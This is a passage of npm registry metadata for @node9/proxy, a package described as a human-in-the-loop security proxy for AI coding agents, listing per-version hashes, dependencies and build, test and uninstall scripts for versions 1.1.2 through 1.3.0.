--noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.2_1774374813720_0.7966895033104353","host":"s3://npm-registry-packages-npm-production"}},"1.1.3":{"name":"@node9/proxy","version":"1.1.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"278a28ee7e139131625a696de3d64cbcf9266580","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.3.tgz","fileCount":11,"integrity":"sha512-iwY00WrI6EYeb34KPDz+Ul9lxswW6FP98SSZKi9suG//AhXYVc+lFwhzI8gXSxSLeGsdvHpF291cGuGNMZJdWw==","signatures":[{"sig":"MEUCIGavoh7hudjBfQoGqVoZf3TCOZiTwaQ2fmvGfbhv8DbAAiEApfGNAi0I2HOjxrEH0hP1VbSIKrNSgJnHDw/781akrGw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":708008},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"528b2d8e1c4cb2d2c58a00717b7a8ff036a24469","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.3_1774398491192_0.3687543680756362","host":"s3://npm-registry-packages-npm-production"}},"1.1.4":{"name":"@node9/proxy","version":"1.1.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"60b09d16153674321a380ce47f4f0f03d5becba8","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.4.tgz","fileCount":11,"integrity":"sha512-rUolF1QrqOh303MU75Z/4EC7ERamX/qeL1snRD1CKmTVWnrFAnZ2mrDhhSAt3y7HFgF1zqZlWbGdxzMhDFDJ6Q==","signatures":[{"sig":"MEYCIQCw/R8Py5bHMkhiXeWW5nb29OFyi5JmxIUfdo4Q69spTwIhAMrU+CBrzz3OWI4mTA0sjT2REJ23yiP5dTXshbIX3fOt","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":710059},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f39e7034956b8aa22ca8ee4964cdd48dfe6064d0","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.4_1774428862876_0.189710275146175","host":"s3://npm-registry-packages-npm-production"}},"1.1.5":{"name":"@node9/proxy","version":"1.1.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a44ab6343bd98667a6c82f3ad54acfa231a4eaad","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.5.tgz","fileCount":11,"integrity":"sha512-h3Jyzxnh0IzdmQE4pW9aDoRMWmAKfGHO5H8WV3F604+KdUotZupB1BaoIkTxAYbCA40PyZ3hve/jCiTw+D7xDg==","signatures":[{"sig":"MEUCIH3kZxxiex0wIlbkaxsB2hdI90onfbC3BVQJ2+QflsZ9AiEAlWtGLWYjKXVcbQu+miypbfn9CdsDoj4EOepl2c+HYdM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":743773},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a9053cc8387e728b858cde0c41189496a315381f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.5_1774464748551_0.2046447586059741","host":"s3://npm-registry-packages-npm-production"}},"1.1.6":{"name":"@node9/proxy","version":"1.1.6","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.6","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5b815710ccf4feb4e6c872f9d41770d28543af38","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.6.tgz","fileCount":11,"integrity":"sha512-fPjuI7XqDqGivz4qxOCk+gCm3LuIL/yAI2LnXnpxh/XSVm9FQqlRdjDKLtD2ZKuMCLar7vsrGZLKCjKgvvX+3g==","signatures":[{"sig":"MEQCIDWfYy2fAkA1A0WFuR56nziwBTjyDDbPDdIzsMOaEwOuAiAsCO3x5PWoSblk0bhcgeHSkxUuQMuhGEM2osOku5gXQQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":744143},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"89f209e153cbba11213ffeed901651d972d06631","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.6_1774472888233_0.16852750785068493","host":"s3://npm-registry-packages-npm-production"}},"1.1.7":{"name":"@node9/proxy","version":"1.1.7","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.7","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e006a8b4b4b58c2fcc9ba6cb08fac0bfa61ec5f1","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.7.tgz","fileCount":11,"integrity":"sha512-TSAEl973wBydxs1PbPbSjjL+qTXksuFHsEmPW9PbjsBfYfUjb2/m/ryBPn7IPUsF/91EWeH1TnT/kUlVIL0hLw==","signatures":[{"sig":"MEQCIF9PXIa1uwM1A6Z5QwAXBOC3kW597Zwirfe7hlrJe1YEAiAYiohWUN4/rMUtYlE06VNw5ZJ816snEPSd8Ub51caIAg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.7","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":749260},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e5cded0d66f4227d94fc864fa14eb372ac204002","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));process.kill(d.pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.7_1774564214529_0.7291282914355868","host":"s3://npm-registry-packages-npm-production"}},"1.2.0":{"name":"@node9/proxy","version":"1.2.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.2.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"051c02ab3cfa20324100b45b456a7b39c1caf926","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.2.0.tgz","fileCount":11,"integrity":"sha512-c4TEKEiPRnpjXNPLoz7Hq+u/H2tE+odYEQ5N6DxzVWG01uzmlTW5NuPKBHAN3+OtGXGG3kP6zTBy5C9hZanqaA==","signatures":[{"sig":"MEQCIDonJPxWI/e/SchxEPbNiI/p9NVoTxga9qkgXy8h5WkSAiBcj88STkdMOj53K2fJs4PsFitq5ejDTDKhbzpHQzxeZA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":766679},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"92202771cf2ea9187068285d89ab008455407904","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.2.0_1774652695858_0.04593170189336537","host":"s3://npm-registry-packages-npm-production"}},"1.3.0":{"name":"@node9/proxy","version":"1.3.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.3.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"317ba75f151509adf1f3c45b689c6576e4f07f10","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.3.0.tgz","fileCount":11,"integrity":"sha512-Rhx1lirq3TYppK4xVnjS2r9+XaePhVx8Mh4h5ksjv8ouV12S7d+d5PlJDXaJfWbUjf543YsMYjvvpFq5SnmeQw==","signatures":[{"sig":"MEUCIQC5ibhefXJSCDsquL+VhGPqN+E6y93Z6y+Km2kWox6RTgIgUM2S0J6QuGjqlEESfYH+8JjBMfFTrnMVaYuRCMHkjP4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":783146},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d44ad304e9c5ec3e754a29f12044bf18f492032b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest --run","build":"tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & 